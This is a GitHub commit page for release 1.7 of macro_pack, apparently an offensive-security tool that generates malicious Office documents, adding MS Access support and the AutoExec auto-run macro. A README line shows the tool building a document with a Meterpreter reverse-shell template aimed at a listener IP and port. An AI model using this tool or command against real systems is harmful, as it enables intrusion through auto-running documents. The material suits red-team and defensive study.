Skip to content
This repository has been archived by the owner on Sep 14, 2024. It is now read-only.

Commit

Permalink
Release version 1.7
Browse files Browse the repository at this point in the history
  • Loading branch information
sevagas committed Sep 8, 2019
1 parent eb7eeea commit 26b2565
Show file tree
Hide file tree
Showing 6 changed files with 9 additions and 5 deletions.
5 changes: 2 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@ Ms Office Supported formats are:
* MS Excel 97 (.xls)
* MS Excel (.xlsm, .xslx, .xltm)
* MS PowerPoint (.pptm, .potm)
* MS Access (.accdb, .mdb)
* MS Visio 97 (.vsd)
* MS Visio (.vsdm)
* MS Project (.mpp)
Expand Down Expand Up @@ -118,8 +119,6 @@ cd macro_pack
pip3 install -r requirements.txt
```

**Note:** For windows, you also need to download manually pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/

The tool is in python 3 so just start with with your python3 install. ex:
```bash
python3 macro_pack.py --help
Expand Down Expand Up @@ -309,7 +308,7 @@ echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\\192.168.0.8\c$\us
Help for template usage: macro_pack.exe -t help
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the format based on extension.
Supported Ms Office extensions are: doc, docm, docx, dotm, xls, xlsm, xslx, xltm, pptm, potm, vsd, vsdm, mpp.
Supported Ms Office extensions are: doc, docm, docx, dotm, xls, xlsm, xslx, xltm, pptm, potm, vsd, vsdm, accdb, mdb, mpp.
Note: Ms Office file generation requires Windows OS with right MS Office application installed.
Supported Visual Basic scripts extensions are: vba, vbs, wsf, wsc, sct, hta, xsl.
Supported shortcuts/shell extensions are: lnk, scf, url, glk, settingcontent-ms, library-ms, inf, iqy
Expand Down
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,4 @@ clr>=1.0.3
Flask==0.12.2
wsgidav>=2.4.1
cheroot>=6.3.3
pywin32>=220
2 changes: 1 addition & 1 deletion src/common/help.py
Original file line number Diff line number Diff line change
Expand Up @@ -164,7 +164,7 @@ def printUsage(banner, currentApp, mpSession):
Help for template usage: %s -t help
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the format based on extension.
Supported Ms Office extensions are: doc, docm, docx, dotm, xls, xlsm, xslx, xltm, pptm, potm, vsd, vsdm, accdb, mpp.
Supported Ms Office extensions are: doc, docm, docx, dotm, xls, xlsm, xslx, xltm, pptm, potm, vsd, vsdm, accdb, mdb, mpp.
Note: Ms Office file generation requires Windows OS with right MS Office application installed.
Supported Visual Basic scripts extensions are: vba, vbs, wsf, wsc, sct, hta, xsl.
Supported shortcuts/shell extensions are: lnk, scf, url, glk, settingcontent-ms, library-ms, inf, iqy.
Expand Down
2 changes: 1 addition & 1 deletion src/macro_pack.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@


WORKING_DIR = "temp"
VERSION="1.7-dev"
VERSION="1.7"
BANNER = """\
_ _ __ ___ ____ __ ____ __ ___ __ _
Expand Down
2 changes: 2 additions & 0 deletions src/modules/com_run.py
Original file line number Diff line number Diff line change
Expand Up @@ -69,6 +69,8 @@ def run(self):
document = comObj.Documents.Open(self.comTarget)
elif MSTypes.PPT in targetApp:
document = comObj.Presentations.Open(self.comTarget)
elif MSTypes.ACC in targetApp:
document = comObj.OpenCurrentDatabase(self.comTarget)
elif MSTypes.MPP in targetApp:
document = comObj.FileOpen(self.comTarget, True)
if self.startFunction and self.startFunction not in self.potentialStartFunctions:
Expand Down
2 changes: 2 additions & 0 deletions src/modules/mp_module.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,12 +19,14 @@ def __init__(self,mpSession):
if self._startFunction is not None:
self.reservedFunctions.append(self._startFunction)
self.reservedFunctions.append("AutoOpen")
self.reservedFunctions.append("AutoExec")
self.reservedFunctions.append("Workbook_Open")
self.reservedFunctions.append("Document_Open")
self.reservedFunctions.append("Auto_Open")
self.reservedFunctions.append("Document_DocumentOpened")
self.potentialStartFunctions = []
self.potentialStartFunctions.append("AutoOpen")
self.potentialStartFunctions.append("AutoExec")
self.potentialStartFunctions.append("Workbook_Open")
self.potentialStartFunctions.append("Document_Open")
self.potentialStartFunctions.append("Auto_Open")
Expand Down

0 comments on commit 26b2565

Please sign in to comment.